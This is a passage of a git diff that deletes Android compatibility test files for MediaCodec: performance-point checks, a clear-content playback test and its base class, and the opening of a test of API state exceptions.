-        // Components must list all supported standard performance points unless those performance
-        // points are covered by other listed standard performance points.
-        for (VideoCapabilities.PerformancePoint pp : points) {
-            if (standardPoints.contains(pp)) {
-                // standard points must not be covered by other listed standard points
-                for (VideoCapabilities.PerformancePoint pp2 : points) {
-                    if (!standardPoints.contains(pp2)) {
-                        continue;
-                    }
-                    // using object equality to determine otherness
-                    assertFalse("standard " + pp2 + " for " + info.getCanonicalName()
-                            + " for media type " + mediaType + " covers standard " + pp,
-                            pp2 != pp && pp2.covers(pp));
-                }
-            } else {
-                // non-standard points must list all covered standard point not covered by another
-                // listed standard point
-                for (VideoCapabilities.PerformancePoint spp : standardPoints) {
-                    if (pp.covers(spp)) {
-                        // Must be either listed or covered by another standard. Since a point
-                        // covers itself, it is sufficient to check that it is covered by a listed
-                        // standard point.
-                        boolean covered = false;
-                        for (VideoCapabilities.PerformancePoint pp2 : points) {
-                            // using object equality to determine otherness
-                            if (standardPoints.contains(pp2) && pp2.covers(spp)) {
-                                covered = true;
-                                break;
-                            }
-                        }
-                        assertTrue(pp + " for " + info.getCanonicalName() + " for media type "
-                                + mediaType + " covers standard " + spp
-                                + " that is not covered by a listed standard point",
-                                covered);
-                    }
-                }
-                // non-standard points should not be covered by any other performance point
-                for (VideoCapabilities.PerformancePoint pp2 : points) {
-                    // using object equality to determine otherness
-                    assertFalse(pp2 + " for " + info.getCanonicalName()
-                            + " for media type " + mediaType + " covers " + pp,
-                            pp2 != pp && pp2.covers(pp));
-                }
-            }
-        }
-    }
-
-    public void testAllHardwareAcceleratedVideoCodecsPublishPerformancePoints() {
-        List<String> mandatoryTypes = Arrays.asList(
-                MediaFormat.MIMETYPE_VIDEO_AVC,
-                MediaFormat.MIMETYPE_VIDEO_VP8,
-                MediaFormat.MIMETYPE_VIDEO_DOLBY_VISION,
-                MediaFormat.MIMETYPE_VIDEO_HEVC,
-                MediaFormat.MIMETYPE_VIDEO_VP9,
-                MediaFormat.MIMETYPE_VIDEO_AV1);
-
-        String[] featuresToConfig = new String[] {
-            FEATURE_SecurePlayback,
-            FEATURE_TunneledPlayback,
-        };
-
-        Set<Pair<String, Integer>> describedTypes = new HashSet<>(); // mediaType - featureIndex
-        Set<Pair<String, Integer>> supportedTypes = new HashSet<>(); // mediaType - featureIndex
-
-        // Once any hardware codec performance is described, we assume that all hardware codecs
-        // must be described, even if we cannot confirm expanded codec info support.
-        boolean hasPerformancePoints = hasExpandedCodecInfo();
-        if (!hasPerformancePoints) {
-            for (MediaCodecInfo info : mAllInfos) {
-                String[] types = info.getSupportedTypes();
-                for (int j = 0; j < types.length; ++j) {
-                    String mediaType = types[j];
-                    CodecCapabilities cap = info.getCapabilitiesForType(mediaType);
-                    VideoCapabilities videoCap = cap.getVideoCapabilities();
-                    if (videoCap != null
-                            && videoCap.getSupportedPerformancePoints() != null) {
-                        hasPerformancePoints = true;
-                        break;
-                    }
-                }
-                if (hasPerformancePoints) {
-                    break;
-                }
-            }
-        }
-
-        for (MediaCodecInfo info : mAllInfos) {
-            String[] types = info.getSupportedTypes();
-            for (int j = 0; j < types.length; ++j) {
-                String mediaType = types[j];
-                CodecCapabilities cap = info.getCapabilitiesForType(mediaType);
-                MediaFormat defaultFormat = cap.getDefaultFormat();
-                VideoCapabilities videoCap = cap.getVideoCapabilities();
-
-                Log.d(TAG, "codec: " + info.getName() + " canonical: " + info.getCanonicalName()
-                        + " type: " + mediaType);
-
-                if (videoCap == null) {
-                    assertFalse("no video capabilities for video media type " + mediaType + " of "
-                                    + info.getName(),
-                                mediaType.toLowerCase().startsWith("video/"));
-                    continue;
-                }
-
-                List<VideoCapabilities.PerformancePoint> pps =
-                    videoCap.getSupportedPerformancePoints();
-
-                // see which feature combinations are supported by this codec
-                // we do this by counting in binary up to a number of bits
-                List<Integer> supportedFeatureConfigs = new ArrayList<Integer>();
-                for (int cfg_ix = 1 << featuresToConfig.length; --cfg_ix >= 0; ) {
-                    boolean supported = true;
-                    for (int f_ix = 0; supported && f_ix < featuresToConfig.length; ++f_ix) {
-                        if (((cfg_ix >> f_ix) & 1) != 0) {
-                            // feature is to be enabled
-                            supported = supported && cap.isFeatureSupported(featuresToConfig[f_ix]);
-                        } else {
-                            // feature is not to be enabled
-                            supported = supported && !cap.isFeatureRequired(featuresToConfig[f_ix]);
-                        }
-                    }
-                    if (supported) {
-                        supportedFeatureConfigs.add(cfg_ix);
-                    }
-                }
-
-                Log.d(TAG, "codec supports configs " + Arrays.toString(
-                        supportedFeatureConfigs.stream().mapToInt(Integer::intValue).toArray()));
-                boolean isMandatory = mandatoryTypes.contains(mediaType);
-                if (info.isHardwareAccelerated()) {
-                    for (Integer cfg_ix : supportedFeatureConfigs) {
-                        Pair<String, Integer> type = Pair.create(mediaType, cfg_ix);
-                        if (hasPerformancePoints && isMandatory) {
-                            supportedTypes.add(type);
-                        }
-                        if (pps != null && pps.size() > 0) {
-                            describedTypes.add(type);
-                        }
-                    }
-                }
-
-                if (pps == null) {
-                    if (hasExpandedCodecInfo()) {
-                        // Hardware-accelerated video components must publish performance points,
-                        // even if it is an empty list.
-                        assertFalse("HW-accelerated codec '" + info.getName()
-                                + "' must publish performance points", info.isHardwareAccelerated());
-                    }
-
-                    continue;
-                }
-
-                // At least one hardware accelerated codec for each media type (including secure
-                // codecs) must publish valid performance points for AVC/VP8/VP9/HEVC/AV1.
-                if (pps.size() == 0) {
-                    if (isMandatory) {
-                        Log.d(TAG, "empty performance points list published by HW accelerated" +
-                                   "component " + info.getName() + " for " + types[j]);
-                    }
-                } else {
-                    for (VideoCapabilities.PerformancePoint p : pps) {
-                        Log.d(TAG, "got performance point " + p);
-                    }
-                    verifyPerformancePoints(info, types[j], pps);
-                }
-            }
-        }
-
-        for (Pair<String, Integer> type : supportedTypes) {
-            assertTrue("codecs for media type " + type.first + " in configuration " + type.second
-                    + " do not have substantial performance point data",
-                    describedTypes.contains(type));
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecPlayerTest.java b/tests/tests/media/src/android/media/cts/MediaCodecPlayerTest.java
deleted file mode 100644
index ecf45b7..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCodecPlayerTest.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright 2019 Google Inc. All rights reserved.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaFormat;
-import android.net.Uri;
-import android.view.Surface;
-import java.util.Arrays;
-import java.util.List;
-
-public class MediaCodecPlayerTest extends MediaCodecPlayerTestBase<MediaStubActivity2> {
-
-    private static final String MIME_VIDEO_AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
-
-    private static final String CLEAR_AUDIO_PATH = "/clear/h264/llama/llama_aac_audio.mp4";
-    private static final String CLEAR_VIDEO_PATH = "/clear/h264/llama/llama_h264_main_720p_8000.mp4";
-
-    private static final int VIDEO_WIDTH_CLEAR = 1280;
-    private static final int VIDEO_HEIGHT_CLEAR = 674;
-
-    public MediaCodecPlayerTest() {
-        super(MediaStubActivity2.class);
-    }
-
-    private void playOnSurfaces(List<Surface> surfaces) throws Exception {
-        testPlayback(
-            MIME_VIDEO_AVC, new String[0],
-            Uri.parse(Utils.getMediaPath() + CLEAR_AUDIO_PATH),
-            Uri.parse(Utils.getMediaPath() + CLEAR_VIDEO_PATH),
-            VIDEO_WIDTH_CLEAR, VIDEO_HEIGHT_CLEAR, surfaces);
-    }
-
-    public void testPlaybackSwitchViews() throws Exception {
-        playOnSurfaces(getActivity().getSurfaces());
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecPlayerTestBase.java b/tests/tests/media/src/android/media/cts/MediaCodecPlayerTestBase.java
deleted file mode 100644
index 918ef87..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCodecPlayerTestBase.java
+++ /dev/null
@@ -1,167 +0,0 @@
-/*
- * Copyright 2019 Google Inc. All rights reserved.
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.app.Activity;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.media.MediaCasException;
-import android.media.MediaCodecList;
-import android.media.MediaCryptoException;
-import android.media.MediaFormat;
-import android.net.Uri;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-import android.view.Surface;
-import java.io.IOException;
-import java.util.List;
-import java.util.concurrent.TimeUnit;
-
-class MediaCodecPlayerTestBase<T extends Activity> extends ActivityInstrumentationTestCase2<T> {
-
-    private static final String TAG = MediaCodecPlayerTestBase.class.getSimpleName();
-    private static final int CONNECTION_RETRIES = 10;
-    private static final int SLEEP_TIME_MS = 1000;
-    private static final long PLAY_TIME_MS = TimeUnit.MILLISECONDS.convert(25, TimeUnit.SECONDS);
-
-    protected Context mContext;
-    protected MediaCodecClearKeyPlayer mMediaCodecPlayer;
-
-    public MediaCodecPlayerTestBase(Class<T> clz) {
-        super(clz);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mContext = getInstrumentation().getTargetContext();
-    }
-
-    /**
-     * Tests clear content playback.
-     */
-    protected void testPlayback(
-            String videoMime, String[] videoFeatures,
-            Uri audioUrl,
-            Uri videoUrl,
-            int videoWidth, int videoHeight,
-            List<Surface> surfaces) throws Exception {
-
-        if (isWatchDevice()) {
-            return;
-        }
-
-        if (!preparePlayback(videoMime, videoFeatures,
-                audioUrl, false /* audioEncrypted */,
-                videoUrl, false /* videoEncrypted */, videoWidth, videoHeight,
-                false /* scrambled */, null /* sessionId */, surfaces)) {
-            return;
-        }
-
-        // starts video playback
-        playUntilEnd();
-    }
-
-    protected boolean isWatchDevice() {
-        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
-    }
-
-    protected boolean preparePlayback(String videoMime, String[] videoFeatures, Uri audioUrl,
-            boolean audioEncrypted, Uri videoUrl, boolean videoEncrypted, int videoWidth,
-            int videoHeight, boolean scrambled, byte[] sessionId, List<Surface> surfaces)
-            throws IOException, MediaCryptoException, MediaCasException {
-        if (false == playbackPreCheck(videoMime, videoFeatures, videoUrl,
-                videoWidth, videoHeight)) {
-            Log.e(TAG, "Failed playback precheck");
-            return false;
-        }
-
-        mMediaCodecPlayer = new MediaCodecClearKeyPlayer(
-                surfaces,
-                sessionId, scrambled,
-                mContext);
-
-        mMediaCodecPlayer.setAudioDataSource(audioUrl, null, audioEncrypted);
-        mMediaCodecPlayer.setVideoDataSource(videoUrl, null, videoEncrypted);
-        mMediaCodecPlayer.start();
-        mMediaCodecPlayer.prepare();
-        return true;
-    }
-
-    protected void playUntilEnd() throws InterruptedException {
-        mMediaCodecPlayer.startThread();
-
-        long timeOut = System.currentTimeMillis() + PLAY_TIME_MS;
-        while (timeOut > System.currentTimeMillis() && !mMediaCodecPlayer.isEnded()) {
-            Thread.sleep(SLEEP_TIME_MS);
-            if (mMediaCodecPlayer.getCurrentPosition() >= mMediaCodecPlayer.getDuration() ) {
-                Log.d(TAG, "current pos = " + mMediaCodecPlayer.getCurrentPosition() +
-                        ">= duration = " + mMediaCodecPlayer.getDuration());
-                break;
-            }
-        }
-
-        Log.d(TAG, "playVideo player.reset()");
-        mMediaCodecPlayer.reset();
-    }
-
-    // Verify if we can support playback resolution and has network connection.
-    protected boolean playbackPreCheck(String videoMime, String[] videoFeatures,
-            Uri videoUrl, int videoWidth, int videoHeight) {
-        if (!isResolutionSupported(videoMime, videoFeatures, videoWidth, videoHeight)) {
-            Log.i(TAG, "Device does not support " +
-                    videoWidth + "x" + videoHeight + " resolution for " + videoMime);
-            return false;
-        }
-
-        IConnectionStatus connectionStatus = new ConnectionStatus(mContext);
-        if (!connectionStatus.isAvailable()) {
-            throw new Error("Network is not available, reason: " +
-                    connectionStatus.getNotConnectedReason());
-        }
-
-        // If device is not online, recheck the status a few times.
-        int retries = 0;
-        while (!connectionStatus.isConnected()) {
-            if (retries++ >= CONNECTION_RETRIES) {
-                throw new Error("Device is not online, reason: " +
-                        connectionStatus.getNotConnectedReason());
-            }
-            try {
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-            }
-        }
-        connectionStatus.testConnection(videoUrl);
-        return true;
-    }
-
-    protected boolean isResolutionSupported(String mime, String[] features,
-            int videoWidth, int videoHeight) {
-        MediaFormat format = MediaFormat.createVideoFormat(mime, videoWidth, videoHeight);
-        for (String feature: features) {
-            format.setFeatureEnabled(feature, true);
-        }
-        MediaCodecList mcl = new MediaCodecList(MediaCodecList.ALL_CODECS);
-        if (mcl.findDecoderForFormat(format) == null) {
-            Log.i(TAG, "could not find codec for " + format);
-            return false;
-        }
-        return true;
-    }
-
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
deleted file mode 100644
index fd25703..0000000
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ /dev/null
@@ -1,2947 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import static org.testng.Assert.assertThrows;
-
-import android.content.res.AssetFileDescriptor;
-import android.hardware.HardwareBuffer;
-import android.media.AudioFormat;
-import android.media.AudioPresentation;
-import android.media.MediaCodec;
-import android.media.MediaCodec.BufferInfo;
-import android.media.MediaCodec.CodecException;
-import android.media.MediaCodec.CryptoException;
-import android.media.MediaCodec.CryptoInfo;
-import android.media.MediaCodec.CryptoInfo.Pattern;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.AudioCapabilities;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecInfo.CodecProfileLevel;
-import android.media.MediaCodecInfo.EncoderCapabilities;
-import android.media.MediaCodecInfo.VideoCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaCrypto;
-import android.media.MediaDrm;
-import android.media.MediaDrm.MediaDrmStateException;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.opengl.GLES20;
-import android.os.Build;
-import android.os.ConditionVariable;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.ParcelFileDescriptor;
-import android.os.PersistableBundle;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.Presubmit;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.AndroidTestCase;
-import android.util.Log;
-import android.util.Range;
-import android.view.Surface;
-
-import androidx.test.filters.MediumTest;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.BufferedInputStream;
-import java.io.Closeable;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStream;
-import java.nio.ByteBuffer;
-import java.nio.FloatBuffer;
-import java.nio.ShortBuffer;
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.List;
-import java.util.UUID;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.LinkedBlockingQueue;
-import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicBoolean;
-import java.util.concurrent.atomic.AtomicInteger;
-
-/**
- * General MediaCodec tests.
- *
- * In particular, check various API edge cases.
- *
- * <p>The file in res/raw used by testDecodeShortInput are (c) copyright 2008,
- * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
- * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
- */
-@Presubmit
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "Instant apps cannot access the SD card")
-public class MediaCodecTest extends AndroidTestCase {
-    private static final String TAG = "MediaCodecTest";
-    private static final boolean VERBOSE = false;           // lots of logging
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    // parameters for the video encoder
-                                                            // H.264 Advanced Video Coding
-    private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
-    private static final int BIT_RATE = 2000000;            // 2Mbps
-    private static final int FRAME_RATE = 15;               // 15fps
-    private static final int IFRAME_INTERVAL = 10;          // 10 seconds between I-frames
-    private static final int WIDTH = 1280;
-    private static final int HEIGHT = 720;
-    // parameters for the audio encoder
-    private static final String MIME_TYPE_AUDIO = MediaFormat.MIMETYPE_AUDIO_AAC;
-    private static final int AUDIO_SAMPLE_RATE = 44100;
-    private static final int AUDIO_AAC_PROFILE = 2; /* OMX_AUDIO_AACObjectLC */
-    private static final int AUDIO_CHANNEL_COUNT = 2; // mono
-    private static final int AUDIO_BIT_RATE = 128000;
-
-    private static final int TIMEOUT_USEC = 100000;
-    private static final int TIMEOUT_USEC_SHORT = 100;
-
-    private boolean mVideoEncoderHadError = false;
-    private boolean mAudioEncoderHadError = false;
-    private volatile boolean mVideoEncodingOngoing = false;
-
-    private static final String INPUT_RESOURCE =
-            "video_480x360_mp4_h264_1350kbps_30fps_aac_stereo_192kbps_44100hz.mp4";
-
-    // The test should fail if the decoder never produces output frames for the input.
-    // Time out decoding, as we have no way to query whether the decoder will produce output.
-    private static final int DECODING_TIMEOUT_MS = 10000;
-
-    private static boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-    private static boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    /**
-     * Tests:
-     * <br> Exceptions for MediaCodec factory methods
-     * <br> Exceptions for MediaCodec methods when called in the incorrect state.
-     *
-     * A selective test to ensure proper exceptions are thrown from MediaCodec
-     * methods when called in incorrect operational states.
-     */
-    public void testException() throws Exception {
-        boolean tested = false;
-        // audio decoder (MP3 should be present on all Android devices)
-        MediaFormat format = MediaFormat.createAudioFormat(
-                MediaFormat.MIMETYPE_AUDIO_MPEG, 44100 /* sampleRate */, 2 /* channelCount */);
-        tested = verifyException(format, false /* isEncoder */) || tested;
-
-        // audio encoder (AMR-WB may not be present on some Android devices)
-        format = MediaFormat.createAudioFormat(
-                MediaFormat.MIMETYPE_AUDIO_AMR_WB, 16000 /* sampleRate */, 1 /* channelCount */);
-        format.setInteger(MediaFormat.KEY_BIT_RATE, 19850);
-        tested = verifyException(format, true /* isEncoder */) || tested;
-
-        // video decoder (H.264/AVC may not be present on some Android devices)
-        format = createMediaFormat();
-        tested = verifyException(format, false /* isEncoder */) || tested;
-
-        // video encoder (H.264/AVC may not be present on some Android devices)
-        tested = verifyException(format, true /* isEncoder */) || tested;
-
-        // signal test is skipped due to no device media codecs.
-        if (!tested) {
-            MediaUtils.skipTest(TAG, "cannot find any compatible device codecs");
-        }
-    }
-
-    // wrap MediaCodec encoder and decoder creation
-    private static MediaCodec createCodecByType(String type, boolean isEncoder)
-            throws IOException {
-        if (isEncoder) {
-            return MediaCodec.createEncoderByType(type);
-        }
-        return MediaCodec.createDecoderByType(type);
-    }
-
-    private static void logMediaCodecException(MediaCodec.CodecException ex) {
-        if (ex.isRecoverable()) {
-            Log.w(TAG, "CodecException Recoverable: " + ex.getErrorCode());
-        } else if (ex.isTransient()) {
-            Log.w(TAG, "CodecException Transient: " + ex.getErrorCode());
-        } else {
-            Log.w(TAG, "CodecException Fatal: " + ex.getErrorCode());
-        }
-    }
-
-    private static boolean verifyException(MediaFormat format, boolean isEncoder)
-            throws IOException {
-        String mimeType = format.getString(MediaFormat.KEY_MIME);
-        if (!supportsCodec(mimeType, isEncoder)) {
-            Log.i(TAG, "No " + (isEncoder ? "encoder" : "decoder")
-                    + " found for mimeType= " + mimeType);
-            return false;
-        }
-
-        final boolean isVideoEncoder = isEncoder && mimeType.startsWith("video/");
-
-        if (isVideoEncoder) {
-            format = new MediaFormat(format);
-            format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                    MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface);
-        }
-
-        // create codec (enter Initialized State)
-        MediaCodec codec;
-
-        // create improperly
-        final String methodName = isEncoder ? "createEncoderByType" : "createDecoderByType";
-        try {
-            codec = createCodecByType(null, isEncoder);
-            fail(methodName + " should return NullPointerException on null");
-        } catch (NullPointerException e) { // expected
-        }
-        try {
-            codec = createCodecByType("foobarplan9", isEncoder); // invalid type
-            fail(methodName + " should return IllegalArgumentException on invalid type");
-        } catch (IllegalArgumentException e) { // expected
-        }
-        try {
-            codec = MediaCodec.createByCodecName("foobarplan9"); // invalid name
-            fail(methodName + " should return IllegalArgumentException on invalid name");
-        } catch (IllegalArgumentException e) { // expected
-        }
-        // correct
-        codec = createCodecByType(format.getString(MediaFormat.KEY_MIME), isEncoder);
-
-        // test a few commands
-        try {
-            codec.start();
-            fail("start should return IllegalStateException when in Initialized state");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("start should not return MediaCodec.CodecException on wrong state");
-        } catch (IllegalStateException e) { // expected
-        }
-        try {
-            codec.flush();
-            fail("flush should return IllegalStateException when in Initialized state");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("flush should not return MediaCodec.CodecException on wrong state");
-        } catch (IllegalStateException e) { // expected
-        }
-        MediaCodecInfo codecInfo = codec.getCodecInfo(); // obtaining the codec info now is fine.
-        try {
-            int bufIndex = codec.dequeueInputBuffer(0);
-            fail("dequeueInputBuffer should return IllegalStateException"
-                    + " when in the Initialized state");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("dequeueInputBuffer should not return MediaCodec.CodecException"
-                    + " on wrong state");
-        } catch (IllegalStateException e) { // expected
-        }
-        try {
-            MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
-            int bufIndex = codec.dequeueOutputBuffer(info, 0);
-            fail("dequeueOutputBuffer should return IllegalStateException"
-                    + " when in the Initialized state");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("dequeueOutputBuffer should not return MediaCodec.CodecException"
-                    + " on wrong state");
-        } catch (IllegalStateException e) { // expected
-        }
-
-        // configure (enter Configured State)
-
-        // configure improperly
-        try {
-            codec.configure(format, null /* surface */, null /* crypto */,
-                    isEncoder ? 0 : MediaCodec.CONFIGURE_FLAG_ENCODE /* flags */);
-            fail("configure needs MediaCodec.CONFIGURE_FLAG_ENCODE for encoders only");
-        } catch (MediaCodec.CodecException e) { // expected
-            logMediaCodecException(e);
-        } catch (IllegalStateException e) {
-            fail("configure should not return IllegalStateException when improperly configured");
-        }
-        // correct
-        codec.configure(format, null /* surface */, null /* crypto */,
-                isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0 /* flags */);
-
-        // test a few commands
-        try {
-            codec.flush();
-            fail("flush should return IllegalStateException when in Configured state");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("flush should not return MediaCodec.CodecException on wrong state");
-        } catch (IllegalStateException e) { // expected
-        }
-        try {
-            Surface surface = codec.createInputSurface();
-            if (!isEncoder) {
-                fail("createInputSurface should not work on a decoder");
-            }
-        } catch (IllegalStateException |
-                 IllegalArgumentException e) { // expected for decoder and audio encoder
-            if (isVideoEncoder) {
-                throw e;
-            }
-        }
-
-        // test getInputBuffers before start()
-        try {
-            ByteBuffer[] buffers = codec.getInputBuffers();
-            fail("getInputBuffers called before start() should throw exception");
-        } catch (IllegalStateException e) { // expected
-        }
-
-        // start codec (enter Executing state)
-        codec.start();
-
-        // test getInputBuffers after start()
-        try {
-            ByteBuffer[] buffers = codec.getInputBuffers();
-            if (buffers == null) {
-                fail("getInputBuffers called after start() should not return null");
-            }
-            if (isVideoEncoder && buffers.length > 0) {
-                fail("getInputBuffers returned non-zero length array with input surface");
-            }
-        } catch (IllegalStateException e) {
-            fail("getInputBuffers called after start() shouldn't throw exception");
-        }
-
-        // test a few commands
-        try {
-            codec.configure(format, null /* surface */, null /* crypto */, 0 /* flags */);
-            fail("configure should return IllegalStateException when in Executing state");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            // TODO: consider configuring after a flush.
-            fail("configure should not return MediaCodec.CodecException on wrong state");
-        } catch (IllegalStateException e) { // expected
-        }
-        if (mIsAtLeastR) {
-            try {
-                codec.getQueueRequest(0);
-                fail("getQueueRequest should throw IllegalStateException when not configured with " +
-                        "CONFIGURE_FLAG_USE_BLOCK_MODEL");
-            } catch (MediaCodec.CodecException e) {
-                logMediaCodecException(e);
-                fail("getQueueRequest should not return " +
-                        "MediaCodec.CodecException on wrong configuration");
-            } catch (IllegalStateException e) { // expected
-            }
-            try {
-                codec.getOutputFrame(0);
-                fail("getOutputFrame should throw IllegalStateException when not configured with " +
-                        "CONFIGURE_FLAG_USE_BLOCK_MODEL");
-            } catch (MediaCodec.CodecException e) {
-                logMediaCodecException(e);
-                fail("getOutputFrame should not return MediaCodec.CodecException on wrong " +
-                        "configuration");
-            } catch (IllegalStateException e) { // expected
-            }
-        }
-
-        // two flushes should be fine.
-        codec.flush();
-        codec.flush();
-
-        // stop codec (enter Initialized state)
-        // two stops should be fine.
-        codec.stop();
-        codec.stop();
-
-        // release codec (enter Uninitialized state)
-        // two releases should be fine.
-        codec.release();
-        codec.release();
-
-        try {
-            codecInfo = codec.getCodecInfo();
-            fail("getCodecInfo should should return IllegalStateException" +
-                    " when in Uninitialized state");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("getCodecInfo should not return MediaCodec.CodecException on wrong state");
-        } catch (IllegalStateException e) { // expected
-        }
-        try {
-            codec.stop();
-            fail("stop should return IllegalStateException when in Uninitialized state");
-        } catch (MediaCodec.CodecException e) {
-            logMediaCodecException(e);
-            fail("stop should not return MediaCodec.CodecException on wrong state");
-        } catch (IllegalStateException e) { // expected
-        }
-
-        if (mIsAtLeastS) {
-            try {
-                codec.getSupportedVendorParameters();
-                fail("getSupportedVendorParameters should throw IllegalStateException" +
-                        " when in Uninitialized state");
-            } catch (IllegalStateException e) { // expected
-            } catch (Exception e) {
-                fail("unexpected exception: " + e.toString());
-            }
-            try {
-                codec.getParameterDescriptor("");
-                fail("getParameterDescriptor should throw IllegalStateException" +
-                        " when in Uninitialized state");
-            } catch (IllegalStateException e) { // expected
-            } catch (Exception e) {
-                fail("unexpected exception: " + e.toString());
-            }
-            try {
-                codec.subscribeToVendorParameters(List.of(""));
-                fail("subscribeToVendorParameters should throw IllegalStateException" +
-                        " when in Uninitialized state");
-            } catch (IllegalStateException e) { // expected
-            } catch (Exception e) {
-                fail("unexpected exception: " + e.toString());
-            }
-            try {
-                codec.unsubscribeFromVendorParameters(List.of(""));
-                fail("unsubscribeFromVendorParameters should throw IllegalStateException" +
-                        " when in Uninitialized state");
-            } catch (IllegalStateException e) { // expected
-            } catch (Exception e) {
-                fail("unexpected exception: " + e.toString());
-            }
-        }
-
-        if (mIsAtLeastR) {
-            // recreate
-            codec = createCodecByType(format.getString(MediaFormat.KEY_MIME), isEncoder);
-
-            if (isVideoEncoder) {
-                format.setInteger(MediaFormat.KEY_COLOR_FORMAT,
-                        MediaCodecInfo.CodecCapabilities.COLOR_FormatYUV420Flexible);
-            }
-
-            // configure improperly
-            try {
-                codec.configure(format, null /* surface */, null /* crypto */,
-                        MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL |
-                        (isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0) /* flags */);
-                fail("configure with detached buffer mode should be done after setCallback");
-            } catch (MediaCodec.CodecException e) {
-                logMediaCodecException(e);
-                fail("configure should not return IllegalStateException when improperly configured");
-            } catch (IllegalStateException e) { // expected
-            }
-
-            final LinkedBlockingQueue<Integer> inputQueue = new LinkedBlockingQueue<>();
-            codec.setCallback(new MediaCodec.Callback() {
-                @Override
-                public void onInputBufferAvailable(MediaCodec codec, int index) {
-                    inputQueue.offer(index);
-                }
-                @Override
-                public void onOutputBufferAvailable(
-                        MediaCodec codec, int index, MediaCodec.BufferInfo info) { }
-                @Override
-                public void onOutputFormatChanged(MediaCodec codec, MediaFormat format) { }
-                @Override
-                public void onError(MediaCodec codec, CodecException e) { }
-            });
-
-            // configure with CONFIGURE_FLAG_USE_BLOCK_MODEL (enter Configured State)
-            codec.configure(format, null /* surface */, null /* crypto */,
-                    MediaCodec.CONFIGURE_FLAG_USE_BLOCK_MODEL |
-                    (isEncoder ? MediaCodec.CONFIGURE_FLAG_ENCODE : 0) /* flags */);
-
-            // start codec (enter Executing state)
-            codec.start();
-
-            // grab input index (this should happen immediately)
-            Integer index = null;
-            try {
-                index = inputQueue.poll(2, TimeUnit.SECONDS);
-            } catch (InterruptedException e) {
-            }
-            assertNotNull(index);
-
-            // test a few commands
-            try {
-                codec.getInputBuffers();
-                fail("getInputBuffers called in detached buffer mode should throw exception");
-            } catch (MediaCodec.IncompatibleWithBlockModelException e) { // expected
-            }
-            try {
-                codec.getOutputBuffers();
